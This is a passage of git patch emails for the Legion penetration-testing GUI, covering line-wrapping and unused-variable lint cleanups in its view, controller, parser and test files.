14, 15, 16, 17, 18, 19, 20]: # hide some columns self.ui.ToolsTableView.setColumnHidden(i, True) tools = [] # ensure that there is always something selected for row in range(self.ToolsTableModel.rowCount("")): tools.append(self.ToolsTableModel.getToolNameForRow(row)) - if self.viewState.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) + # the tool we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.tool_clicked in tools: row = self.ToolsTableModel.getRowForToolName(self.viewState.tool_clicked) else: row = 0 # or select the first row @@ -998,8 +1117,10 @@ def updateToolsTableView(self): #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateServiceTableView(self, hostIP): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), headers) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] + self.ServicesTableModel = ServicesTableModel( + self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.ServicesTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1011,8 +1132,10 @@ def updateServiceTableView(self, hostIP): self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), headers) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] + self.PortsByServiceTableModel = ServicesTableModel( + self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1048,7 +1171,10 @@ def updateInformationView(self, hostIP): else: counterFiltered = 65535 - counterOpen - counterClosed - self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, asn=host.asn, isp=host.isp) + self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, + filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, + macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, + asn=host.asn, isp=host.isp) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] @@ -1062,7 +1188,8 @@ def updateScriptsView(self, hostIP): for row in range(self.ScriptsTableModel.rowCount("")): scripts.append(self.ScriptsTableModel.getScriptDBIdForRow(row)) - if self.viewState.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) + # the script we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.script_clicked in scripts: row = self.ScriptsTableModel.getRowForDBId(self.viewState.script_clicked) else: @@ -1076,7 +1203,8 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.update() def updateCvesByHostView(self, hostIP): - headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] + headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", + "ExploitDb URL"] cves = self.controller.getCvesFromDB(hostIP) self.CvesTableModel = CvesTableModel(self, cves, headers) @@ -1099,7 +1227,7 @@ def updateNotesView(self, hostid): self.viewState.lastHostIdClicked = str(hostid) note = self.controller.getNoteFromDB(hostid) - saved_dirty = self.viewState.dirty # save the status so we can restore it after we update the note panel + saved_dirty = self.viewState.dirty # save the status so we can restore it after we update the note panel self.ui.NotesTextEdit.clear() # clear the text box from the previous notes if note: @@ -1109,7 +1237,8 @@ def updateNotesView(self, hostid): self.setDirty(False) def updateToolHostsTableView(self, toolname): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), headers) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) @@ -1122,11 +1251,12 @@ def updateToolHostsTableView(self, toolname): for row in range(self.ToolHostsTableModel.rowCount("")): ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) - if self.viewState.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) + # the host we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.tool_host_clicked in ids: row = self.ToolHostsTableModel.getRowForDBId(self.viewState.tool_host_clicked) else: - row = 0 # or select the first row + row = 0 # or select the first row if not row == None and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.ui.ToolHostsTableView.selectRow(row) @@ -1186,14 +1316,20 @@ def displayAddHostsOverlay(self, display=False): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def setupProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB( + self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, + ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) self.ProcessesTableModel.sort(15, Qt.DescendingOrder) def updateProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ProcessesTableModel.setDataList( + self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, + ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() @@ -1231,7 +1367,8 @@ def updateProcessesIcon(self): processIcon = './images/{processIconName}.gif'.format(processIconName=processIconName) self.runningWidget = ImagePlayer(processIcon) - self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), self.runningWidget) + self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), + self.runningWidget) #################### GLOBAL INTERFACE UPDATE FUNCTION #################### @@ -1260,8 +1397,8 @@ def updateInterface(self): # TODO: refactor/review, especially the restoring part. we should not check if toolname=nmap everywhere in the code # ..maybe we should do it here. rethink def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filename=''): - - if 'screenshot' in str(tabTitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + if 'screenshot' in str(tabTitle): tempWidget = ImageViewer() tempWidget.setObjectName(str(tabTitle)) tempWidget.open(str(filename)) @@ -1277,14 +1414,16 @@ def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filenam p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempTextView.setStyleSheet("QMenu { color:black;}") tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) if not content == '': # if there is any content to display tempTextView.appendPlainText(content) - if restoring == False: # if restoring tabs (after opening a project) don't show the tab in the ui + # if restoring tabs (after opening a project) don't show the tab in the ui + if restoring == False: tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) hosttabs = [] # fetch tab list for this host (if any) @@ -1312,7 +1451,8 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempTextView.setStyleSheet("QMenu { color:black;}") tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) self.ui.PythonTabLayout.addWidget(tempWidget) @@ -1325,7 +1465,7 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): def closeHostToolTab(self, index): currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab - self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked currentWidget = self.ui.ServicesTabWidget.currentWidget() if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): @@ -1361,11 +1501,12 @@ def closeHostToolTab(self, index): self.viewState.hostTabs.update({ip:hosttabs}) break - self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid + self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid self.ui.ServicesTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.ServicesTabWidget.currentIndex(): # select the initially selected tab - self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + # all the tab indexes shift if we remove a tab index smaller than the current tab index + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) else: self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) @@ -1378,8 +1519,10 @@ def removeToolTabs(self, position=-1): # this function restores the tool tabs based on the DB content (should be called when opening an existing project). def restoreToolTabs(self): - tools = self.controller.getProcessesFromDB(self.viewState.filters, showProcesses=False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. - nbr = len(tools) # show a progress bar because this could take long + # false means we are fetching processes with display flag=False, which is the case for every process once + # a project is closed. + tools = self.controller.getProcessesFromDB(self.viewState.filters, showProcesses=False) + nbr = len(tools) # show a progress bar because this could take long if nbr==0: nbr=1 progress = 100.0 / nbr @@ -1388,11 +1531,14 @@ def restoreToolTabs(self): for t in tools: if not t.tabTitle == '': if 'screenshot' in str(t.tabTitle): - imageviewer = self.createNewTabForHost(t.hostIp, t.tabTitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) + imageviewer = self.createNewTabForHost( + t.hostIp, t.tabTitle, True, '', + str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) imageviewer.setObjectName(str(t.tabTitle)) imageviewer.setProperty('dbId', str(t.id)) else: - self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process + # True means we are restoring tabs. Set the widget's object name to the DB id of the process + self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) totalprogress += progress # update the progress bar self.tick.emit(int(totalprogress)) @@ -1405,7 +1551,8 @@ def restoreToolTabsForHost(self, ip): if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): tabindex = self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) - # this function restores the textview widget (now in the tools display widget) to its original tool tab (under the correct host) + # this function restores the textview widget (now in the tools display widget) to its original tool tab + # (under the correct host) def restoreToolTabWidget(self, clear=False): if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit) == self.ui.toolOutputTextView: return @@ -1418,7 +1565,8 @@ def restoreToolTabWidget(self, clear=False): break if clear: - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel + # remove the tool output currently in the tools display panel + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) @@ -1431,11 +1579,13 @@ def createNewBruteTab(self, ip, port, service): bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) self.ui.BruteTabWidget.addTab(bWidget, str(self.viewState.bruteTabCount)) self.viewState.bruteTabCount += 1 # update tab count - self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) # show the last added tab in the brute widget + # show the last added tab in the brute widget + self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) def closeBruteTab(self, index): - currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab - self.ui.BruteTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab + # select the tab for which the cross button was clicked + self.ui.BruteTabWidget.setCurrentIndex(index) if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": @@ -1454,7 +1604,8 @@ def closeBruteTab(self, index): self.ui.BruteTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.BruteTabWidget.currentIndex(): # select the initially selected tab - self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + # all the tab indexes shift if we remove a tab index smaller than the current tab index + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) else: self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex) @@ -1478,23 +1629,28 @@ def callHydra(self, bWidget): return else: log.info('Adding host to scope here!!') - self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, "unset", "unset") + self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, + "unset", "unset") bWidget.validationLabel.hide() bWidget.toggleRunButton() bWidget.resetDisplay() # fixes tab bug - hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), self.controller.getUserlistPath(), self.controller.getPasslistPath()) + hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), + self.controller.getUserlistPath(), + self.controller.getPasslistPath()) bWidget.setObjectName(str("hydra"+" ("+bWidget.getPort()+"/tcp)")) - hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) + hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) if str(bWidget.ip) in self.viewState.hostTabs: hosttabs = self.viewState.hostTabs[str(bWidget.ip)] hosttabs.append(bWidget) self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) - bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), 'tcp', unicode(hydraCommand), getTimestamp(True), bWidget.outputfile, bWidget.display) + bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), + 'tcp', unicode(hydraCommand), getTimestamp(True), + bWidget.outputfile, bWidget.display) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.killBruteProcess(bWidget)) @@ -1516,9 +1672,11 @@ def bruteProcessFinished(self, bWidget): bWidget.pid = -1 # disassociate textview from bWidget (create new textview for bWidget) and replace it with a new host tab - self.createNewTabForHost(str(bWidget.ip), str(bWidget.objectName()), restoring=True, content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) + self.createNewTabForHost( + str(bWidget.ip), str(bWidget.objectName()), restoring=True, + content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) - hosttabs = [] # go through host tabs and find the correct bWidget + hosttabs = [] # go through host tabs and find the correct bWidget if str(bWidget.ip) in self.viewState.hostTabs: hosttabs = self.viewState.hostTabs[str(bWidget.ip)] diff --git a/utilities/stenoLogging.py b/utilities/stenoLogging.py index 51f289c8..5cab4980 100644 --- a/utilities/stenoLogging.py +++ b/utilities/stenoLogging.py @@ -142,7 +142,8 @@ def extractParams(f, args, kwargs, matchParam): dIndex = pIndex - len(argspec.args) + len(argspec.defaults) if 0 <= defaults_index < len(argspec.defaults): return argspec.defaults[dIndex] - raise LoggerBadCallerParametersException("Caller didn't provide a required positional parameter '%s' at index %d", matchParam, pIndex) + raise LoggerBadCallerParametersException( + "Caller didn't provide a required positional parameter '%s' at index %d", matchParam, pIndex) else: raise LoggerUnknownParamException("Unknown param %s(%r) on %s", type(matchParam), matchParam, f.__name__) @@ -184,7 +185,9 @@ def decorator(*args, **kwargs): evtObjIds = extractParams(f, args, kwargs, objIdParam) else: evtObjIds = None - eventToLog = "event: {evt}, input parameter values: {evtObjIds}, result values: {value}, exec time: {execTime}s".format(evt=evt, evtObjIds=evtObjIds, value=value, execTime=execTime) + eventToLog = "event: {evt}, input parameter values: {evtObjIds}, " + \ + "result values: {value}, exec time: {execTime}s".\ + format(evt=evt, evtObjIds=evtObjIds, value=value, execTime=execTime) logger.log(evtSevObj, eventToLog) return value return decorator From f5a419d8262a33854ee2d53a6c49ba43f954f6b0 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 20 Oct 2019 12:34:09 -0400 Subject: [PATCH 312/450] Enable rule F841 - declared but unused variables - flake8 will enforce rule that when local variables are declared, they must be used, or else it is a violation of the rule. --- .flake8 | 2 +- app/logic.py | 2 +- app/processmodels.py | 2 +- app/servicemodels.py | 1 - controller/controller.py | 30 ++++++++----------- legion.py | 2 +- parsers/Parser.py | 3 +- tests/app/tools/test_ToolCoordinator.py | 18 ++++------- .../db/repositories/test_ProcessRepository.py | 3 +- tests/test.py | 8 ++--- ui/view.py | 19 +++++------- 11 files changed, 35 insertions(+), 55 deletions(-) diff --git a/.flake8 b/.flake8 index 90942d1b..d36ec61b 100644 --- a/.flake8 +++ b/.flake8 @@ -1,4 +1,4 @@ [flake8] -select=E501 +select=E501,F841 exclude=.git,.idea,tmp,backup max-line-length: 120 \ No newline at end of file diff --git a/app/logic.py b/app/logic.py index a1f1fbae..21bddabb 100644 --- a/app/logic.py +++ b/app/logic.py @@ -48,7 +48,7 @@ def setStoreWordlistsOnExit(self, flag=True): def copyNmapXMLToOutputFolder(self, file): try: path = self.activeProject.properties.outputFolder + "/nmap" - filename = ntpath.basename(str(file)) + ntpath.basename(str(file)) if not os.path.exists(str(path)): os.makedirs(str(path)) diff --git a/app/processmodels.py b/app/processmodels.py index e13d8a1e..4e5c740e 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -97,7 +97,7 @@ def data(self, index, role): except: value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) pass - except Exception as e: + except Exception: value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) pass return value diff --git a/app/servicemodels.py b/app/servicemodels.py index 53991568..a1d35891 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -199,7 +199,6 @@ def headerData(self, section, orientation, role): def data(self, index, role): # This method takes care of how the information is displayed if role == QtCore.Qt.DisplayRole: # how to display each cell - value = '' row = index.row() column = index.column() if column == 0: diff --git a/controller/controller.py b/controller/controller.py index 0c2876da..7d91278b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -221,7 +221,8 @@ def openExistingProject(self, filename, projectType='legion'): self.view.importProgressWidget.reset('Opening project..') self.view.importProgressWidget.show() # show the progress widget self.logic.openExistingProject(filename, projectType) - self.start(ntpath.basename(self.logic.activeProject.properties.projectName)) # initialisations (globals, signals, etc) + # initialisations (globals, signals, etc) + self.start(ntpath.basename(self.logic.activeProject.properties.projectName)) self.view.restoreToolTabs() # restores the tool tabs for each host self.view.hostTableClick() # click on first host to restore his host tool tabs self.view.importProgressWidget.hide() # hide the progress widget @@ -256,7 +257,7 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan self.runStagedNmap(targetHosts, runHostDiscovery) elif runHostDiscovery: outputfile = runningFolder + "/nmap/" + getTimestamp() + '-host-discover' - command = "nmap -n -sV -O --version-light -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile + command = f"nmap -n -sV -O --version-light -T{str(nmapSpeed)} {targetHosts} -oA {outputfile}" log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) @@ -505,8 +506,8 @@ def handlePortAction(self, targets, *args): def getContextMenuForProcess(self): menu = QMenu() - killAction = menu.addAction("Kill") - clearAction = menu.addAction("Clear") + menu.addAction("Kill") + menu.addAction("Clear") return menu # selectedProcesses is a list of tuples (pid, status, procId) @@ -677,8 +678,8 @@ def handleProcUpdate(*vargs): qProcess.finished.connect(handleProcStop) updateElapsed.timeout.connect(handleProcUpdate) - textbox.setProperty('dbId', - str(self.logic.activeProject.repositoryContainer.processRepository.storeProcess(qProcess))) + processRepository = self.logic.activeProject.repositoryContainer.processRepository + textbox.setProperty('dbId', str(processRepository.storeProcess(qProcess))) updateElapsed.start(1000) self.processTimers[qProcess.id] = updateElapsed self.processMeasurements[qProcess.pid()] = 0 @@ -707,8 +708,7 @@ def handleProcUpdate(*vargs): nextStage = stage + 1 qProcess.finished.connect( lambda: self.runStagedNmap(str(hostIp), discovery=discovery, stage=nextStage, - stop=self.logic.activeProject.repositoryContainer.processRepository.isKilledProcess( - str(qProcess.id)))) + stop=processRepository.isKilledProcess(str(qProcess.id)))) return qProcess.pid() # return the pid so that we can kill the process if needed @@ -724,7 +724,8 @@ def runPython(self): outputfile = '/tmp/a' qProcess = MyQProcess(name, tabTitle, hostIp, port, protocol, command, startTime, outputfile, textbox) - textbox.setProperty('dbId', str(self.logic.activeProject.repositoryContainer.processRepository.storeProcess(qProcess))) + processRepository = self.logic.activeProject.repositoryContainer.processRepository + textbox.setProperty('dbId', str(processRepository.storeProcess(qProcess))) log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) @@ -750,10 +751,10 @@ def runPython(self): # recursive function used to run nmap in different stages for quick results def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): log.info("runStagedNmap called for stage {0}".format(str(stage))) + runningFolder = self.logic.activeProject.properties.runningFolder if not stop: textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage ' + str(stage) + ')', True) - outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-nmapstage' + str( - stage) + outputfile = runningFolder + "/nmap/" + getTimestamp() + '-nmapstage' + str(stage) if stage == 1: # webservers/proxies ports = self.settings.tools_nmap_stage1_ports @@ -909,7 +910,6 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): else: for a in self.settings.portActions: if tool[0] == a[1]: - restoring = False tabTitle = a[1] + " (" + port + "/" + protocol + ")" outputfile = self.logic.activeProject.properties.runningFolder + "/" + \ re.sub("[^0-9a-zA-Z]", "", str(tool[0])) + \ @@ -920,15 +920,9 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): outputfile) log.debug("Running tool command " + str(command)) - if 'nmap' in tabTitle: # we don't want to show nmap tabs - restoring = True - elif 'python-script' in tabTitle: - restoring = True - tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) self.runCommand(tool[0], tabTitle, ip, port, protocol, command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, not (tab == 'Hosts'))) break - diff --git a/legion.py b/legion.py index 8a037262..fd76f99d 100644 --- a/legion.py +++ b/legion.py @@ -80,7 +80,7 @@ try: qss_file = open('./ui/legion.qss').read() - except IOError as e: + except IOError: log.info( "The legion.qss file is missing. Your installation seems to be corrupted. " + "Try downloading the latest version.") diff --git a/parsers/Parser.py b/parsers/Parser.py index b48c39b7..b12b0b60 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -29,9 +29,8 @@ def __init__( self, xml_input): for hostNode in self.__dom.getElementsByTagName('host'): __host = Host.Host(hostNode) self.__hosts[__host.ip] = __host - except Exception as ex: + except Exception: log.info("Parser error! Invalid nmap file!") - #logging.error(ex) raise def getSession( self ): diff --git a/tests/app/tools/test_ToolCoordinator.py b/tests/app/tools/test_ToolCoordinator.py index cc5136e0..adcc7897 100644 --- a/tests/app/tools/test_ToolCoordinator.py +++ b/tests/app/tools/test_ToolCoordinator.py @@ -30,11 +30,9 @@ def setUp(self, nmapFileExists) -> None: self.outputFolder = "some-output-folder" self.toolCoordinator = ToolCoordinator(self.mockShell, self.mockNmapExporter) - @patch("ntpath.dirname") @patch("ntpath.basename") def test_saveToolOutput_WhenGivenProjectOutputFolderAndNmapFileNameToSaveOutputIn_SavesOutputSuccessfully(self, - basename, - dirname): + basename): fileName = "some-output-nmap-file" basename.return_value = "nmap" @@ -50,11 +48,9 @@ def test_saveToolOutput_WhenGivenProjectOutputFolderAndNmapFileNameToSaveOutputI mock.call("some-output-nmap-file.gnmap", "some-output-folder/nmap"), ]) - @patch("ntpath.dirname") @patch("ntpath.basename") - def test_saveToolOutput_WhenGivenProjectOutputFolderAndGenericFileNameToSaveOutputIn_SavesOutputSuccessfully(self, - basename, - dirname): + def test_saveToolOutput_WhenGivenProjectOutputDirAndGenericFileNameToSaveOutputIn_SavesOutputSuccessfully(self, + basename): fileName = "some-output-file" basename.return_value = "some-tool" self.mockShell.directoryOrFileExists.side_effect = [False, True] @@ -63,11 +59,9 @@ def test_saveToolOutput_WhenGivenProjectOutputFolderAndGenericFileNameToSaveOutp self.toolCoordinator.saveToolOutput(self.outputFolder, fileName) self.mockShell.move.assert_called_once_with("some-output-file", "some-output-folder/some-tool") - @patch("ntpath.dirname") @patch("ntpath.basename") def test_saveToolOutput_WhenGivenProjectOutputFolderAndXmlFileNameToSaveOutputIn_SavesOutputSuccessfully(self, - basename, - dirname): + basename): fileName = "some-output-xml-file" basename.return_value = "some-tool" self.mockShell.directoryOrFileExists.side_effect = [False, False, False, True] @@ -76,11 +70,9 @@ def test_saveToolOutput_WhenGivenProjectOutputFolderAndXmlFileNameToSaveOutputIn self.toolCoordinator.saveToolOutput(self.outputFolder, fileName) self.mockShell.move.assert_called_once_with("some-output-xml-file.xml", "some-output-folder/some-tool") - @patch("ntpath.dirname") @patch("ntpath.basename") def test_saveToolOutput_WhenGivenProjectOutputFolderAndTxtFileNameToSaveOutputIn_SavesOutputSuccessfully(self, - basename, - dirname): + basename): fileName = "some-output-txt-file" basename.return_value = "some-tool" self.mockShell.directoryOrFileExists.side_effect = [False, False, False, False, True] diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index 5e3390c8..25cc79f4 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -238,8 +238,7 @@ def test_storeCloseStatus_WhenProvidedProcessId_StoresCloseStatus(self): self.mockDbAdapter.commit.assert_called_once() def test_storeScreenshot_WhenProvidedIPAndPortAndFileName_StoresScreenshot(self): - processId = self.processRepository.storeScreenshot("some-ip", "some-port", "some-filename") - + self.processRepository.storeScreenshot("some-ip", "some-port", "some-filename") self.mockDbSession.add.assert_called_once() self.mockDbSession.commit.assert_called_once() diff --git a/tests/test.py b/tests/test.py index af41667a..825b5c60 100644 --- a/tests/test.py +++ b/tests/test.py @@ -1,14 +1,14 @@ try: from sqlalchemy.orm.scoping import ScopedSession as scoped_session print("SQL Alchemy library OK") -except ImportError as e: +except ImportError: print("Import failed. SQL Alchemy library not found.") exit(1) try: from PyQt5 import QtWidgets, QtGui, QtCore print("PyQt5 library OK.") -except ImportError as e: +except ImportError: print("Import failed. PyQt5 library not found.") exit(1) @@ -16,7 +16,7 @@ import quamash import asyncio print("Quamash and asyncio libraries OK.") -except ImportError as e: +except ImportError: print("Import failed. quamash or asyncio not found.") exit(1) @@ -26,6 +26,6 @@ from ui.view import * from controller.controller import * print("Legion class imports OK.") -except ImportError as e: +except ImportError: print("Import failed. One or more modules failed to import correctly.") exit(1) diff --git a/ui/view.py b/ui/view.py index 9337dd8b..226445c2 100644 --- a/ui/view.py +++ b/ui/view.py @@ -93,7 +93,7 @@ def start(self, title='*untitled'): self.viewState = ViewState() self.ui.keywordTextInput.setText('') # clear keyword filter - self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + self.ProcessesTableModel = None # fixes bug when sorting processes for the first time self.ToolsTableModel = None self.setupProcessesTableView() self.setupToolsTableView() @@ -314,7 +314,7 @@ def openExistingProject(self): if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): 